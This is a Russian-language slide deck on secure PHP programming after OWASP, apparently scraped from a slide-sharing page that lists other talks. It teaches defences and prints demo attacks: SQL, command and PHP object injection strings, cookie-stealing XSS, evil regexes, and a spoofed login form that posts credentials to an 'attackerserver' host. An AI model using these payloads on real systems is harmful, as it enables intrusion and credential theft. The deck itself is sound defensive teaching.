Быстрый в имплементации и в работе мониторинг с использованием ELKБыстрый в имплементации и в работе мониторинг с использованием ELK
Быстрый в имплементации и в работе мониторинг с использованием ELKEatDog
 
Continuous integration / continuous delivery
Continuous integration / continuous deliveryContinuous integration / continuous delivery
Continuous integration / continuous deliveryEatDog
 
Как мы экспериментируем в больших микросервисных системах
Как мы экспериментируем в больших микросервисных системахКак мы экспериментируем в больших микросервисных системах
Как мы экспериментируем в больших микросервисных системахEatDog
 
Отказоустойчивый Redis кластер
Отказоустойчивый Redis кластерОтказоустойчивый Redis кластер
Отказоустойчивый Redis кластерEatDog
 
Кодстайл и насилие.
Кодстайл и насилие. Кодстайл и насилие.
Кодстайл и насилие. EatDog
 
Refactor to Reactive With Spring 5 and Project Reactor
Refactor to Reactive With Spring 5 and Project ReactorRefactor to Reactive With Spring 5 and Project Reactor
Refactor to Reactive With Spring 5 and Project ReactorEatDog
 
GraphQL: APIs the New Way.
GraphQL: APIs the New Way.GraphQL: APIs the New Way.
GraphQL: APIs the New Way.EatDog
 
Большие проекты, архитектура и фреймворки.
Большие проекты, архитектура и фреймворки.Большие проекты, архитектура и фреймворки.
Большие проекты, архитектура и фреймворки.EatDog
 
Microservices in a Wild.
Microservices in a Wild.Microservices in a Wild.
Microservices in a Wild.EatDog
 
Dependency Rejection and TDD without Mocks
Dependency Rejection and TDD without MocksDependency Rejection and TDD without Mocks
Dependency Rejection and TDD without MocksEatDog
 
Стероиды для Дотнетчика
Стероиды для ДотнетчикаСтероиды для Дотнетчика
Стероиды для ДотнетчикаEatDog
 
Domain Driven Design – просто о сложном.
Domain Driven Design – просто о сложном.Domain Driven Design – просто о сложном.
Domain Driven Design – просто о сложном.EatDog
 
Принципы Solid на практике
Принципы Solid на практикеПринципы Solid на практике
Принципы Solid на практикеEatDog
 
Mapbox GL: как работают современные векторные карты
Mapbox GL: как работают современные векторные картыMapbox GL: как работают современные векторные карты
Mapbox GL: как работают современные векторные картыEatDog
 
Нельзя просто так взять и сделать версионирование API
Нельзя просто так взять и сделать версионирование APIНельзя просто так взять и сделать версионирование API
Нельзя просто так взять и сделать версионирование APIEatDog
 
API в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемость
API в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемостьAPI в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемость
API в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемостьEatDog
 
Выжить с помощью ООП. Максим Гопей
Выжить с помощью ООП. Максим ГопейВыжить с помощью ООП. Максим Гопей
Выжить с помощью ООП. Максим ГопейEatDog
 

Plus de EatDog (20)

Классифицируем текст в iOS без CoreML: как и зачем?
Классифицируем текст в iOS без CoreML: как и зачем? Классифицируем текст в iOS без CoreML: как и зачем?
Классифицируем текст в iOS без CoreML: как и зачем?
 
macOS app development for iOS devs: expand your horizons
macOS app development for iOS devs: expand your horizonsmacOS app development for iOS devs: expand your horizons
macOS app development for iOS devs: expand your horizons
 
Dependency Injections in Kotlin
Dependency Injections in KotlinDependency Injections in Kotlin
Dependency Injections in Kotlin
 
Быстрый в имплементации и в работе мониторинг с использованием ELK
Быстрый в имплементации и в работе мониторинг с использованием ELKБыстрый в имплементации и в работе мониторинг с использованием ELK
Быстрый в имплементации и в работе мониторинг с использованием ELK
 
Continuous integration / continuous delivery
Continuous integration / continuous deliveryContinuous integration / continuous delivery
Continuous integration / continuous delivery
 
Как мы экспериментируем в больших микросервисных системах
Как мы экспериментируем в больших микросервисных системахКак мы экспериментируем в больших микросервисных системах
Как мы экспериментируем в больших микросервисных системах
 
Отказоустойчивый Redis кластер
Отказоустойчивый Redis кластерОтказоустойчивый Redis кластер
Отказоустойчивый Redis кластер
 
Кодстайл и насилие.
Кодстайл и насилие. Кодстайл и насилие.
Кодстайл и насилие.
 
Refactor to Reactive With Spring 5 and Project Reactor
Refactor to Reactive With Spring 5 and Project ReactorRefactor to Reactive With Spring 5 and Project Reactor
Refactor to Reactive With Spring 5 and Project Reactor
 
GraphQL: APIs the New Way.
GraphQL: APIs the New Way.GraphQL: APIs the New Way.
GraphQL: APIs the New Way.
 
Большие проекты, архитектура и фреймворки.
Большие проекты, архитектура и фреймворки.Большие проекты, архитектура и фреймворки.
Большие проекты, архитектура и фреймворки.
 
Microservices in a Wild.
Microservices in a Wild.Microservices in a Wild.
Microservices in a Wild.
 
Dependency Rejection and TDD without Mocks
Dependency Rejection and TDD without MocksDependency Rejection and TDD without Mocks
Dependency Rejection and TDD without Mocks
 
Стероиды для Дотнетчика
Стероиды для ДотнетчикаСтероиды для Дотнетчика
Стероиды для Дотнетчика
 
Domain Driven Design – просто о сложном.
Domain Driven Design – просто о сложном.Domain Driven Design – просто о сложном.
Domain Driven Design – просто о сложном.
 
Принципы Solid на практике
Принципы Solid на практикеПринципы Solid на практике
Принципы Solid на практике
 
Mapbox GL: как работают современные векторные карты
Mapbox GL: как работают современные векторные картыMapbox GL: как работают современные векторные карты
Mapbox GL: как работают современные векторные карты
 
Нельзя просто так взять и сделать версионирование API
Нельзя просто так взять и сделать версионирование APIНельзя просто так взять и сделать версионирование API
Нельзя просто так взять и сделать версионирование API
 
API в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемость
API в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемостьAPI в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемость
API в SAAS, с облаком и без: ресурсы, SLA, балансировка, расширяемость
 
Выжить с помощью ООП. Максим Гопей
Выжить с помощью ООП. Максим ГопейВыжить с помощью ООП. Максим Гопей
Выжить с помощью ООП. Максим Гопей
 

OWASP: безопасное программирование на PHP.

  • 1.
  • 3. Что будет: •   Глава 1. Немного про OWASP •   Глава 2. Моделирование угроз (важно) •   Глава 3. Уязвимости (быстренько) и инъекции (здесь вы устанете) •   Глава 4. Полезное на-почитать •   Глава 5. Как тестировать (внезапно) 3
  • 4. Stuff: •   Web Security Wiki •   Cheat Sheets •   Top 10 Project Guides: •   Development Guide •   Code Review Guide •   Testing Guide Testing Tools: •   Offensive Web Testing Framework (OWTF) •   Zed Attack Proxy (ZAP) •   Application Security Verification Standard (ASVS) OWASP Open Web Application Security Project 4
  • 5. •   1. Category: Principle •   2. Category: Threat Agent •   3. Category: Attack •   4. Category: Vulnerability •   5. Category: Control •   6. Category: Technical Impact •   7. Category: Business Impact Любой риск, связанный с безопасностью, состоит из агента угрозы (атакующий), который использует атаки, чтобы найти уязвимости (как правило, из-за отсутствия или плохого контроля). В случае успеха атака окажет техническое влияние и бизнес-влияние. С риском могут быть связаны один или несколько принципов. OWASP ASDR The OWASP Application Security Desk Reference 5
  • 6. (Некоторые проверенные) Принципы безопасности •   Применяйте глубокую защиту •   Используйте позитивную модель безопасности •   Краштесь безопасно •   Запускайте приложение с минимальными привилегиями •   Избегайте безопасности через сложность/неясность •   Делайте просто •   Фиксируйте проникнования •   Не доверяйте инфраструктуре •   Не доверяйте сервисам •   Делайте безопасные настройки по-умолчанию 6
  • 7. Агенты угрозы (Threat Agents) Что-то, что может выражать угрозу Агент угрозы = Возможности + Намерения + Предыдущие действия 7
  • 8. Классификация агентов угрозы •   Не целенаправленные: вирусы, черви, трояны, логиче ские бомбы. •   Сотрудники: нанятые, контракторы, обслуживающий персонал или охранники, которым надоела компания. •   Организованные преступники: нацеленные на ценную для них информацию: банк овские счета, кредитные карты или интелектуальную собственность, к онвертируемую в деньги. •   Компании, которые ведут информационную войну или к онкурентную разведку. •   Люди, случайно: несчастные случаи, неост орожность, небрежность. •   Люди, намеренно: внутри или снаружи компании. •   Природные: потоп, пожар, молния, метеорит, землетрясение. 8
  • 9. Техническое влияние •   Утеря подотчетности •   Утеря доступности •   Утеря конфиденциальности •   Утеря целостности 9
  • 10. Бизнес-влияние •   Финансовый ущерб •   Утеря соответствия требованиям •   Нарушение приватности •   Ущерб репутации 10
  • 12. Access control enforced by presentation layer Addition of data-structur e sentinel Allowing password agingASP.NET Misconfigurations Assigning instead of comparing Authentication Bypass via Assumed-Immutable Data Buffer Overflow Buffer underwrite Business logic vulner ability Capture-replay Catch NullPointerException Comparing classes by name Comparing instead of assigning Comprehensive list of Threats to Authentication Pr ocedures and Data Covert timing channel CRLF Injection Cross Site Scripting Flaw Dangerous FunctionDeletion of data-structur e sentinel Directory Restriction Error Deserialization of untrusted dataDouble Free Doubly freeing memory Duplicate key in associative list (alist) Empty Catch Block Empty String Password Failure of true random number gener ator Failure to account for default case in switch Failure to add integrity check value Failure to check for certificate revocation Failure to check integrity check value Failure to check whether privileges were dropped successfully Failure to deallocate data Failure to drop privileges when r easonable Failure to encrypt data Failure to follow chain of trust in certificate validation Failure to follow guideline/specification Failure to protect stored data from modificationFailure to provide confidentiality for stored data Failure to validate certificate e xpiration Failure to validate host-specific certificate data File Access Race Condition: T OCTOU Format String Guessed or visible temporary file Hard-Coded Password Heap Inspection Heap overflow HTTP Parameter Pollution Ignored function return value Illegal Pointer Value Improper cleanup on thrown exception Improper Data Validation Improper string length checking Improper error handling Improper temp file opening Incorrect block delimitation Information LeakageInformation leak thr ough class cloning Information leak through serialization Injection problem Insecure Compiler Optimization Insecure Randomness Insecure Temporary File Insecure Third Party Domain Access Insecure Transport Insufficient Entropy Insufficient entropy in pseudo-random number generator Insufficient Session-ID Length Integer coercion error Integer overflow Invoking untrusted mobile code J2EE Misconfiguration: Unsafe Bean Declaration Least Privilege Violation Key exchange without entity authentication Leftover Debug CodeLog Forging Log injection Member Field Race Condition Memory leak Miscalculated null termination Misinterpreted function return value Missing parameter Missing XML Validation Mutable object returned Non-cryptographic pseudo- random number generator Not allowing password aging Not using a random initialization vector with cipher block chaining mode Null Dereference Object Model Violation: Just One of equals() and hashCode() Defined Often Misused: AuthenticationOften Misused: Exception Handling Often Misused: File System Often Misused: Privilege Management Often Misused: String Management Omitted break statement Open forward Open redirect Overflow of static internal buffer Overly-Broad Catch Block Overly-Broad Throws Declaration Passing mutable objects to an untrusted method Password Management: Hardcoded Password Password Management: Weak Cryptography Password Plaintext Storage PHP File Inclusion Poor Logging Practice Portability Flaw Privacy Violation PRNG Seed Error Process Control Publicizing of private data when using inner classes Race Conditions Reflection attack in an auth protocol Reflection injection Relative path library search Reliance on data layout Relying on package-le vel scope Resource exhaustion Return Inside Finally Block Reusing a nonce, key pair in encryption Session Fixation Sign extension error Signed to unsigned conversion err or Stack overflow State synchronization error Storing passwords in a recoverable format String Termination Error Missing Error Handling Symbolic name not mapping to corr ect object Template:Vulnerability Truncation error Trust Boundary Violation Trust of system event data Trusting self-reported DNS name Trusting self-reported IP address Uncaught exception Unchecked array indexing Unchecked Return Value: Missing Check against Null Undefined Behavior Uninitialized Variable Unintentional pointer scaling Unreleased Resource Unrestricted File Upload Unsafe function call fr om a signal handler Unsafe JNI Unsafe Mobile Code Unsafe Reflection Unsigned to signed conversion err or Use of hard-coded password Use of Obsolete Methods Use of sizeof() on a pointer type Using a broken or risky cryptographic algorithm Using a key past its expiration date Using freed memory Using password systems Using referer field for authentication or authorization Using single-factor authentication Using the wrong operator Validation performed in clientWrap-around error Write-what-where condition 12
  • 13. 2017 Top 10 List (RC) 1.  Injection 2.  Broken Authentication and Session Management 3.  Cross-Site Scripting (XSS) 4.  Broken Access Control 5.  Security Misconfiguration 6.  Sensitive Data Exposure 7.  Insufficient Attack Protection 8.  Cross-Site Request Forgery (CSRF) 9.  Using Components with Known Vulnerabilities 10.  Underprotected APIs 13
  • 14. Глава 2 Auth-уязвимости •   Уязвимости аутентификации •   Уязвимости авторизации •   Уязвимости управления сессией •   Уязвимости управления паролем 14
  • 15. Глава 2 Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) — это атака, при которой пользователь выполняет нежелаемые команды в приложении, в котором он сейчас авторизован. 15
  • 16. Глава 2 Cross-Site Request Forgery (CSRF) <img src="http://shop.com/delete.php?product_id=156"/> 16
  • 17. Глава 2 Защита от CSRF •   Проверяйте заголовки: Origin, Referer •   Используйте анти-CSRF токены Си: CSRF Prevention Cheat Sheet фо мо дитейлс. 17
  • 18. Глава 2 Анти-CSRF токен •   Для любой операции, меняющей сост ояние системы, нужен безопасный случайный т окен. •   Требования к токену: •   уникальный для сессии, •   большое случайное значение, •   сгенерированное криптографически-безопасным г енератором случайных чисел. •   Сервер отклоняет запрос, если токен не проходит валидацию. 18
  • 19. •   SQL Injection •   Blind SQL Injecion •   Code Injection •   Command Injection •   LDAP Injection •   PHP Object Injection •   XSS •   Content Spoofing •   Log Forging •   Regular expression DoS Глава 3 Инъекции 19
  • 20. Глава 3 SQL-инъекция Вставка "инъекции" в SQL-запрос через пользовательские данные. 20
  • 21. Глава 3 SQL-инъекция Username: Mike Password: ' OR '' = ' SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = ''; 21
  • 22. Глава 3 Слепые SQL-инъекции База данных опрашивается простыми "да/нет"-вопросами, а результат определяется по ответу приложения. 22
  • 23. Глава 3 Слепые SQL-инъекции http://newspaper.com/items.php?id=2 SELECT title, description, body FROM items WHERE ID = 2 http://newspaper.com/items.php?id= 2 and 1=2 SELECT title, description, body FROM items WHERE ID = 2 and 1=2 23
  • 24. Глава 3 Защита от SQL-инъекций •   Websec: SQL Injection Knowledge Base •   Php.net: SQL Injections Avoidance Techniques 24
  • 25. Глава 3 Инъекции в код Общий термин для обозначения типов атак, при которых агент внедряет код, который выполняется приложением. 25
  • 26. Глава 3 Инъекции в код $myvar = "varname"; $x = $_GET['arg']; eval("$myvar = $x;"); eval = evil 01. 02. 03. 26
  • 27. Глава 3 Защита от инъекций в код •   Не используйте eval(). •   Не используйте eval(), пожалуйста. •   Ладно, но не доверяйте никакому стороннему инпуту. •   Никакому — значит, вообще никакому. 27
  • 28. Глава 3 Инъекция в команды Атака, цель которой — выполнение внедренных команд на хосте сервера. 28
  • 29. Глава 3 Инъекция в команды print("Please specify the name of the file to delete<br>" ); $file = $_GET['filename' ]; system("rm $file" ); Request: http://127.0.0.1/delete.php?filename=bob.txt;id Response: Please specify the name of the file to delete uid=33(www-data) gid=33(www-data) groups=33(www-data) 01. 02. 03. 01. 02. 29
  • 30. Глава 3 Защита от инъекций в команды •   Не используйте инпут в командах, где это возможно •   Валидруйте инпут •   Экранируйте инпут 30
  • 31. Глава 3 LDAP-инъекции Вставка "инъекции" в LDAP-запрос через пользовательские данные. 31
  • 32. Глава 3 LDAP-инъекции $ldapSearchQuery = "(cn=" + $userName + ")"; •   * •   jonys) (| (password = * ) 32
  • 33. Глава 3 Защита от LDAP-инъекций •   Экранируйте: •   &, !, |, =, <, >, ,, +, -, ", ', ; в DN - требуют экранирования через •   (, ), , *, /, NUL в Filter - требуют {ASCII} экранирования 33
  • 34. Глава 3 Инъекции в PHP объекты Используют десериализцию или уничтожение объектов. 34
  • 35. Инъекции в PHP объекты class Example1 { public $cache_file ;   function __destruct () { $file = "/var/www/cache/tmp/{$this->cache_file}" ; if (file_exists( $file)) @unlink( $file); } }   // some PHP code... $user_data = unserialize( $_GET['data']); // some PHP code... ?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";} 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 11. 12. 13. 35
  • 36. Инъекции в PHP объекты class Example2 { private $hook;   function __wakeup() { if (isset($this->hook)) eval($this->hook); } }   // some PHP code... $user_data = unserialize( $_COOKIE['data']); // some PHP code... Cookie: data=O:8:"Example2":1:{s:4:"hook";s:10:"phpinfo();";} 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 11. 12. 36
  • 37. Глава 3 Защита от инъекций в PHP объекты •   Не десериализуйте инпут, используйте JSON •   Проверяйте данные в __wakeup() и __destruct() 37
  • 38. Глава 3 Cross-site Scripting (XSS) Инъекции в фронтенд-код приложения. Бывают: •   Хранимые (Stored) •   Отраженные (Reflected) •   Основанные на DOM (DOM Based) 38
  • 39. Глава 3 Cross-site Scripting (XSS) <?php $employeeId = $_GET['employee_id']; ... ?> Exmployee ID: <?php echo $employeeId ?> http://testsite.com/vuln.php?employee_id=123 <script>alert(1)</script> 01. 02. 03. 04. 05. 39
  • 40. Cross-site Scripting (XSS) http://www.some.site/page.html?default=French Select your language: <select><script> document.write("<OPTION value=1>"+document.location.href.substring( document.location.href.indexOf("default=")+8)+" </OPTION>"); document.write("<OPTION value=2>English</OPTION>"); </script></select> http://www.some.site/page.html?default= <script>alert(document.cookie)</script> 01. 02. 03. 04. 05. 06. 40
  • 41. Глава 3 Защита от XSS •   XSS Prevention Cheat Sheet •   DOM based XSS Prevention Cheat Sheet •   XSS Filter Evasion Cheat Sheet 41
  • 42. Глава 3 Защита от XSS 1.  Постарайтесь поменьше выводить пользовательских данных :) 2.  Используйте HTML-экранирование перед вставкой данных в HTML 3.  Используйте Атрибут-экранирование перед вствкой данных в атрибуты HTML 4.  Используйте JavaScript-экранирование перед вставкой данных в JavaScript 5.  Используйте HTML-экранирование JSON-строк в контексте HTML 6.  Читайте JSON через JSON.parse в JavaScript 7.  Используйте CSS-экранирование и строго проверяйте данные перед вставкой в <style> 8.  Используйте URL-экранирование перед вставкой данных в URL 9.  Очищайте HTML специальными инструментами 10.  Не допускайте DOM-Based XSS 42
  • 43. Глава 3 Защита от DOM Based XSS 1.  Используйте HTML-экранирование вместе с JavaScript-экранированием перед вставк ой данных в HTML субконтекст * 2.  Используйте JavaScript-экранирование перед вставкой данных в субконтекст HTML атрибутов * 3.  Будьте осторожны :), вствляя данные в ивент -хендлеры или JavaScript код 4.  Используйте JavaScript-экранирование перед вставкой данных в субконтекст CSS атрибутов * 5.  Используйте URL-экранирование вместе с JavaScript-экранированием перед вставк ой данных в субконтекст URL атрибутов * 6.  Изменяте DOM используя безопасные JavaScript функции и свойства * — в контексте выполения JavaScript 43
  • 44. Глава 3 Защита от XSS (Bonus track) 1.  Ставьте HTTPOnly cookie флаг 2.  Реализуйте Content Security Policy 3.  Используйте темплейт-системы с встроенным экранированием 4.  Используйте X-XSS-Protection заголовок в ответе 44
  • 45. Глава 3 Подмена содержимого Вставка внедренного контента на фронтенде уязвимого вебсайта. (Content Spoofing) 45
  • 46. Подмена содержимого <?php $name = $_REQUEST ['name']; ?> <html> <h1>Welcome to the Internet!</h1> <br> <body> Hello, <?php echo $name; ?>! <p>We are so glad you are here!</p> </body> </html> 01. 02. 03. 04. 05. 06. 07. 08. 09. 10. 11. 46
  • 47. Подмена содержимого http://127.0.0.1/vulnerable.php?name=test http://127.0.0.1/vulnerable.php?name= <h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" action="http://attackerserver/login.php" >Username: <input type="text" name="username" /><br />Password: <input type="password" name="password" /> <br /><input type="submit" value="Login" /></form><!-- 47
  • 48. Глава 3 Защита от подмены содержимого См.: Защита от XSS 48
  • 49. Глава 3 Log Forging Имитация сообщений или вставка небезопасных данных в логи при записи пользовательских данных в лог. 49
  • 50. Глава 3 Log Forging $productId = Mage::app()->getRequest()->getParam('id'); try { $product->load($productId); } catch (Mage_Exception $exception) { Mage::log('Failed to load product with ID = ' + $productId); } 01. 02. 03. 04. 05. 06. 50
  • 51. Глава 3 Log Forging http://magento.site/index.php?id=5 2017-04-19T15:13:24+00:00 ERR (3): Failed to load product with ID = 5. http://magento.site/index.php?id=5n2017-04-19T15:20:31+00:00 ERR (3): Payment was successful for order #100000156, but Magento was not able to complete the order. 2017-04-19T15:13:24+00:00 ERR (3): Failed to load product with ID = 5. 2017-04-19T15:20:31+00:00 ERR (3): Payment was successful for order #100000156, but Magento was not able to complete the order. 51
  • 52. Глава 3 Log Forging — Здравствуйте! Я только что заплатил 500$ за ноутбук, заказ номер 100000156, с карты деньги ушли, но сайт показал ошибку. Можете проверить лог файлы и вернуть мне деньги? 52
  • 53. Глава 3 Regular expression DoS Атака, при которой регулярные выражения начинают работать очень медленно. 53
  • 54. ^(a+)+$ Глава 3 Regular expression DoS •   Input: 'aaaaX' — 16 возможных вариантов •   Input: 'aaaaaaaaaaaaaaaaX' — 65536 возможных вариантов •   Количество вариантов удваивается с каждой новой a. 54
  • 55. Глава 3 ReDoS: Evil Regexes Дьявольское регулярное выражение — то, которое может залипнуть на правильно подобранном инпуте. Обычно такое выражение содержит: •   группировку с повторением •   внутри повторяющейся группы: •   повторение •   альтернацию c перекрытием 55
  • 56. Глава 3 ReDoS: Evil Regexes (a+)+ ([a-zA-Z]+)* (a|aa)+ (a|a?)+ (.*a){x} // for x > 10 Все вышеперечисленное чувствит ельно к вводу aaaaaaaaaaaaaaaaaaaaaaaa! 56
  • 57. Глава 3 ReDoS: Evil Regexes config.system.Database ^(([a-z])+.)+[A-Z]([a-z])+$ 57
  • 58. Глава 3 Защита от ReDoS •   Используйте регулярные выражения только в крайней необходимости. •   Не используйте дьявольские регулярные выражения. 58
  • 59. Глава 4 Кое-что еще •   Path Traversal •   Full Path Disclosure •   Web Parameter Tampering •   Content Security Policy •   HTTP access control (CORS) •   Least Privilege Principle 59